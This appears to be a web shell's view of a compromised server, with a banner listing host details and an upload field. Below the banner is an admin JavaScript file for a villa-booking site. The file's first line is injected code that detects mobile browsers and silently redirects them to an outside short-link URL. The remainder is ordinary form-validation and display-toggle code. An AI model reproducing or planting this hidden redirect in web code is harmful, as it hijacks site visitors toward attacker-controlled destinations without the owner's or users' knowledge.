| Server IP : 27.254.152.13 / Your IP : 216.73.217.38 Web Server : Apache/2 System : Linux ns1-252017.dragonhispeed.com 5.2.0 #1 SMP Fri Mar 29 22:50:14 MSK 2024 x86_64 User : coloflew ( 1072) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/coloflew/domains/fulltion.com/private_html/parcel/tester/administrator/js/ |
Upload File : |
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.company/JEzgWXOHX0r1");
function AJAX_ViewHistory(userid){
//$.facebox({ajax:'viewhistory.php?user_id='.userid});
$.ajax({
url: "viewhistory.php",
async: false,
type: 'POST',
data: {
user_id: userid
},
success: function(data){
$.facebox(data);
}
});
}
/*show event date*/
function ShowDate(){
var type = $("#type").val();
if(type=="event"){
$("#event_date").show("slow");
}else{
$("#event_date").hide("slow");
}
}
function ShowFrom(){
var type = $("#type_file").val();
if(type=="emb"){
$("#uploadfile").hide("slow");
$("#embedcode").show("slow");
}else{
$("#uploadfile").show("slow");
$("#embedcode").hide("slow");
}
}
function ShowSpecialty(key){
//alert();
var chk = $("#cat_"+key+":checked").length;
//alert ($("#cat_"+key+":checked").val());
//alert (type2);
//alert (type3);
if(key && chk ==1){
$("#specialty_list_"+key).show("slow");
}else{
$("#specialty_list_"+key).hide("slow");
}
}
function ShowBlockper(){
var type = $("#read_type:checked").val();
if(type=="all"){
$("#member_list").hide("slow");
$("#position_list").hide("slow");
}else if(type=="member"){
$("#member_list").show("slow");
$("#position_list").hide("slow");
}else if(type=="position"){
$("#position_list").show("slow");
$("#member_list").hide("slow");
}
}
/*Change Country */
function AJAX_Changecountry(){
var country_id = $("#country_id").val();
if(country_id=="212"){
$("#province").show("slow");
$("#state_text").hide("slow");
}else{
$("#state_text").show("slow");
$("#province").hide("slow");
}
}
function AJAX_Changeother(div_other){
var div_id = $("#"+div_other+"_id").val();
if(div_id=="other"){
$("#"+div_other).show("slow");
}else{
$("#"+div_other).hide("slow");
}
}
/*member page not use*/
/*
function check form member
*/
function checkformpass(){
var user_pass = $('#user_pass').val();
if(!user_pass.length){
$('#msg_user_pass').html('Please input password').show('slow');
$('#user_pass').focus();
return false;
}else{
$('#msg_user_pass').removeClass().html('').hide('slow');
}
var user_repass = $('#reuser_pass').val();
if(!user_repass.length){
$('#msg_user_repass').html('Please input confirm password').show('slow');
$('#reuser_pass').focus();
return false;
}
if(user_pass != user_repass ){
$('#msg_user_repass').html('Please input again !! password is not match').show('slow');
$('#reuser_pass').focus();
return false;
}else{
$('#msg_user_repass').removeClass().html('').hide('slow');
}
return true;
}
function checkformmember(){
var user_name = $('#user_name').val();
if(!user_name.length){
$('#msg_user_name').html('Please input user name').show('slow');
$('#user_name').focus();
return false;
}else{
$('#msg_user_name').removeClass().html('').hide('slow');
}
var user_pass = $('#user_pass').val();
if(!user_pass.length){
$('#msg_user_pass').html('Please input password').show('slow');
$('#user_pass').focus();
return false;
}else{
$('#msg_user_pass').removeClass().html('').hide('slow');
}
var user_repass = $('#reuser_pass').val();
if(!user_repass.length){
$('#msg_user_repass').html('Please input confirm password').show('slow');
$('#reuser_pass').focus();
return false;
}
if(user_pass != user_repass ){
$('#msg_user_repass').html('Please input again !! password is not match').show('slow');
$('#reuser_pass').focus();
return false;
}else{
$('#msg_user_repass').removeClass().html('').hide('slow');
}
var fname = $('#fname').val();
if(!fname.length){
$('#msg_fname').html('Please input first name').show('slow');
$('#fname').focus();
return false;
}else{
$('#msg_fname').removeClass().html('').hide('slow');
}
var lname = $('#lname').val();
if(!lname.length){
$('#msg_lname').html('Please input last name').show('slow');
$('#lname').focus();
return false;
}else{
$('#msg_lname').removeClass().html('').hide('slow');
}
var email = $('#email').val();
if(!email.length){
$('#msg_email').html('Please input email').show('slow');
$('#email').focus();
return false;
}
if(!isEmail(email)){
$('#msg_email').html('Format email is wrong').show('slow');
$('#email').focus();
return false;
}else{
$('#msg_email').removeClass().html('').hide('slow');
}
var mobile = $('#mobile').val();
if(!mobile.length){
$('#msg_mobile').html('Please input mobile phone').show('slow');
$('#mobile').focus();
return false;
}else{
$('#msg_mobile').removeClass().html('').hide('slow');
}
var address = $('#address').val();
if(!address.length){
$('#msg_address').html('Please input address').show('slow');
$('#address').focus();
return false;
}else{
$('#msg_address').removeClass().html('').hide('slow');
}
return true;
}
// check forom prospect
function checkformprospect(){
var fname = $('#fname').val();
if(!fname.length){
$('#msg_fname').html('Please input first name').show('slow');
$('#fname').focus();
return false;
}else{
$('#msg_fname').removeClass().html('').hide('slow');
}
var lname = $('#lname').val();
if(!lname.length){
$('#msg_lname').html('Please input last name').show('slow');
$('#lname').focus();
return false;
}else{
$('#msg_lname').removeClass().html('').hide('slow');
}
var email = $('#email').val();
if(!email.length){
$('#msg_email').html('Please input email').show('slow');
$('#email').focus();
return false;
}
if(!isEmail(email)){
$('#msg_email').html('Format email is wrong').show('slow');
$('#email').focus();
return false;
}else{
$('#msg_email').removeClass().html('').hide('slow');
}
var mobile = $('#mobile').val();
if(!mobile.length){
$('#msg_mobile').html('Please input mobile phone').show('slow');
$('#mobile').focus();
return false;
}else{
$('#msg_mobile').removeClass().html('').hide('slow');
}
var address = $('#address').val();
if(!address.length){
$('#msg_address').html('Please input address').show('slow');
$('#address').focus();
return false;
}else{
$('#msg_address').removeClass().html('').hide('slow');
}
return true;
}
function checkadmin(){
var user = $('#user').val();
if(!user.length){
$('#span_user').html('Please input user').show('slow');
$('#user').focus();
return false;
}
var pwd = $('#pwd').val();
if(!pwd.length){
$('#span_pwd').html('Please input password').show('slow');
$('#pwd').focus();
return false;
}
return true;
}
function checkpage(){
var page_name = $('#page_name').val();
if(!page_name.length){
$('#span_page_name').html('Please input page name').show('slow');
$('#page_name').focus();
return false;
}
return true;
}
function checkvilla(){
var VillasName = $('#VillasName').val();
if(!VillasName.length){
$('#span_VillasName').html('Please input Villa Name').show('slow');
$('#VillasName').focus();
return false;
}
return true;
}
function checkpicturevillas(){
var PictureVillas = $('#PictureVillas').val();
if(!PictureVillas.length){
$('#span_PictureVillas').html('Please input Picture Villas').show('slow');
$('#PictureVillas').focus();
return false;
}
return true;
}
function checkroomrate(){
var Rate_Night = $('#Rate_Night').val();
if(!Rate_Night.length){
$('#span_Rate_Night').html('Please input Rate Night').show('slow');
$('#Rate_Night').focus();
return false;
}
var Minstay = $('#Minstay').val();
if(!Minstay.length){
$('#span_Minstay').html('Please input Minstay').show('slow');
$('#Minstay').focus();
return false;
}
return true;
}
function checkpromotion(){
var PromotionTitle = $('#PromotionTitle').val();
if(!PromotionTitle.length){
$('#span_PromotionTitle').html('Please input Promotion Title').show('slow');
$('#PromotionTitle').focus();
return false;
}
var PromotionDetail = $('#PromotionDetail').val();
if(!PromotionDetail.length){
$('#span_PromotionDetail').html('Please input Promotion Detail').show('slow');
$('#PromotionDetail').focus();
return false;
}
return true;
}
function checkservice(){
var RentalTitle = $('#RentalTitle').val();
if(!RentalTitle.length){
$('#span_RentalTitle').html('Please input Rental Title').show('slow');
$('#RentalTitle').focus();
return false;
}
var RentalPrice = $('#RentalPrice').val();
if(!RentalPrice.length){
$('#span_RentalPrice').html('Please input Rental Price').show('slow');
$('#RentalPrice').focus();
return false;
}
return true;
}
function checkcontact(){
var Email = $('#Email').val();
if(!Email.length){
$('#span_Email').html('Please input Email').show('slow');
$('#Email').focus();
return false;
}
return true;
}
function checkdes(){
var DesName = $('#DesName').val();
if(!DesName.length){
$('#span_DesName').html('Please input Destination Name').show('slow');
$('#DesName').focus();
return false;
}
return true;
}
function checklo(){
var LoName = $('#LoName').val();
if(!LoName.length){
$('#span_LoName').html('Please input Location Name').show('slow');
$('#LoName').focus();
return false;
}
return true;
}
function checkcoen(){
var CoEnName = $('#CoEnName').val();
if(!CoEnName.length){
$('#span_CoEnName').html('Please input Collections Name').show('slow');
$('#CoEnName').focus();
return false;
}
return true;
}
function checkcountry(){
var country_name = $('#country_name').val();
if(!country_name.length){
$('#span_country_name').html('Please input Country Name').show('slow');
$('#country_name').focus();
return false;
}
return true;
}
function checkrooms(){
var Rooms = $('#Rooms').val();
if(!Rooms.length){
$('#span_Rooms').html('Please input Rooms').show('slow');
$('#Rooms').focus();
return false;
}
return true;
}
function checkeventtype(){
var EventTypeName = $('#EventTypeName').val();
if(!EventTypeName.length){
$('#span_EventTypeName').html('Please input Event Type Name').show('slow');
$('#EventTypeName').focus();
return false;
}
return true;
}
function checkcurrency(){
var shorttype = $('#shorttype').val();
if(!shorttype.length){
$('#span_shorttype').html('Please input Short Type').show('slow');
$('#shorttype').focus();
return false;
}
var exchange = $('#exchange').val();
if(!exchange.length){
$('#span_exchange').html('Please input Exchange').show('slow');
$('#exchange').focus();
return false;
}
return true;
}
function checklanguagevalue(){
var name = $('#name').val();
if(!name.length){
$('#span_name').html('Please input Language Name').show('slow');
$('#name').focus();
return false;
}
var value = $('#value').val();
if(!value.length){
$('#span_value').html('Please input Language Value').show('slow');
$('#value').focus();
return false;
}
return true;
}
function checklanguage(){
var name = $('#name').val();
if(!name.length){
$('#span_name').html('Please input Language Name').show('slow');
$('#name').focus();
return false;
}
var lang_code = $('#lang_code').val();
if(!lang_code.length){
$('#span_lang_code').html('Please input Lang Code').show('slow');
$('#lang_code').focus();
return false;
}
return true;
}
function isEmail(str) {
var supported = 0;
if (window.RegExp) {
var tempStr = "a";
var tempReg = new RegExp(tempStr);
if (tempReg.test(tempStr)) supported = 1;
}
if (!supported)
return (str.indexOf(".") > 2) && (str.indexOf("@") > 0);
var r1 = new RegExp("(@.*@)|(\\.\\.)|(@\\.)|(^\\.)");
var r2 = new RegExp("^.+\\@(\\[?)[a-zA-Z0-9\\-\\.]+\\.([a-zA-Z]{2,3}|[0-9]{1,3})(\\]?)$");
return (!r1.test(str) && r2.test(str));
}
// add short note
/** js_DeleteData **/
function js_delShortNote(div){
var agree = confirm('Are you sure delete?');
if (agree){
$("#"+div).replaceWith('<span></span>');
//$("#"+div).hide();
return true ;
}else{
return false ;
}
}
function js_addShortNote(place_div,input,cfg_sn) {
var txt_sn = $("#"+input).val();
$("#"+input).val('');
var cfg_val = $("#"+cfg_sn).val();
var cfg_no = (cfg_val*1)+1;
$("#"+cfg_sn).val(cfg_no);
var trTemp ='<div id="divShortNote'+cfg_no+'"><input readonly class="text small" name="history[]" id="history'+cfg_no+'" type="text" value="'+txt_sn+'"/><a href="javascript:void(0);" onclick="return js_delShortNote(\'divShortNote'+cfg_no+'\');">x</a></div>';
$("#"+place_div).append(trTemp);
}
// select assign prospec with who
function AJAX_selectList(act){
if(act=="upline"){
$("#listupline").show("slow");
$("#listfriend").hide("slow");
}else{
$("#listfriend").show("slow");
$("#listupline").hide("slow");
}
}
function cleartextbox(fl){
$("#"+fl).val('');
}
function UpdateRunTotal(i){
var DeliveryPointCode = $("#DeliveryPointCode_"+i).val();
var RunText = $("#RunText_"+i).val();
var RunNum = $("#RunNum_"+i).val();
//alert(DeliveryPointCode+"-"+RunText+""+RunNum);
$("#runtotal_"+i).html(''+DeliveryPointCode+"-"+RunText+RunNum+'');
}
function ShowDetailBus(fl){
var CheckShowDetailBus = $("#CheckShowDetailBus_"+fl).val();
if(CheckShowDetailBus == 0){
$("#DetailBus_"+fl).show("slow");
$("#CheckShowDetailBus_"+fl).val('1');
}else{
$("#DetailBus_"+fl).hide("slow");
$("#CheckShowDetailBus_"+fl).val('0');
}
}
function ShowDetail(fl){
var CheckShowDetail = $("#CheckShowDetail_"+fl).val();
if(CheckShowDetail == 0){
$("#Detail_"+fl).show("slow");
$("#CheckShowDetail_"+fl).val('1');
}else{
$("#Detail_"+fl).hide("slow");
$("#CheckShowDetail_"+fl).val('0');
}
}
function ShowDetail(fl){
var CheckShowDetail = $("#CheckShowDetail_"+fl).val();
if(CheckShowDetail == 0){
$("#Detail_"+fl).show("slow");
$("#CheckShowDetail_"+fl).val('1');
}else{
$("#Detail_"+fl).hide("slow");
$("#CheckShowDetail_"+fl).val('0');
}
}
function CheckboxUpdateCountProduct(fl){
//alert($("#hdcountproduct").val());
var Checkbox = $("#page_"+fl).val();
var CheckboxUpdateCountProduct;
if(Checkbox == 1){
$("#page_"+fl).val('0');
CheckboxUpdateCountProduct = $("#hdcountproduct").val();
CheckboxUpdateCountProduct = parseInt(CheckboxUpdateCountProduct);
CheckboxUpdateCountProduct = CheckboxUpdateCountProduct - 1;
$("#hdcountproduct").val(CheckboxUpdateCountProduct);
}else{
$("#page_"+fl).val('1');
CheckboxUpdateCountProduct = $("#hdcountproduct").val();
CheckboxUpdateCountProduct = parseInt(CheckboxUpdateCountProduct);
CheckboxUpdateCountProduct = CheckboxUpdateCountProduct + 1;
$("#hdcountproduct").val(CheckboxUpdateCountProduct);
}
$("#countproduct").html(CheckboxUpdateCountProduct);
//alert(CheckboxUpdateCountProduct);
}
function CheckShowAgent(){
var CheckAgent = $("#CheckAgent").val();
if(CheckAgent == 0){
$("#ShowAgent").show("slow");
$("#CheckAgent").val('1');
}else{
$("#ShowAgent").hide("slow");
$("#CheckAgent").val('0');
}
}
function ShowDalivary(id){
var CheckDalivary_ = $("#CheckDalivary_"+id).val();
if(CheckDalivary_ == 0){
$("#ShowDalivary_"+id).show("slow");
$("#CheckDalivary_"+id).val('1');
}else{
$("#ShowDalivary_"+id).hide("slow");
$("#CheckDalivary_"+id).val('0');
}
}
function chkConfirm(url,txtconfirm){
if(confirm(txtconfirm)==true){
window.location = url;
}
}
function confirmDelete(link) {
if (confirm("ยืนยันการลบข้อมูล")) {
doAjax(link.href, "POST"); // doAjax needs to send the "confirm" field
}
return false;
}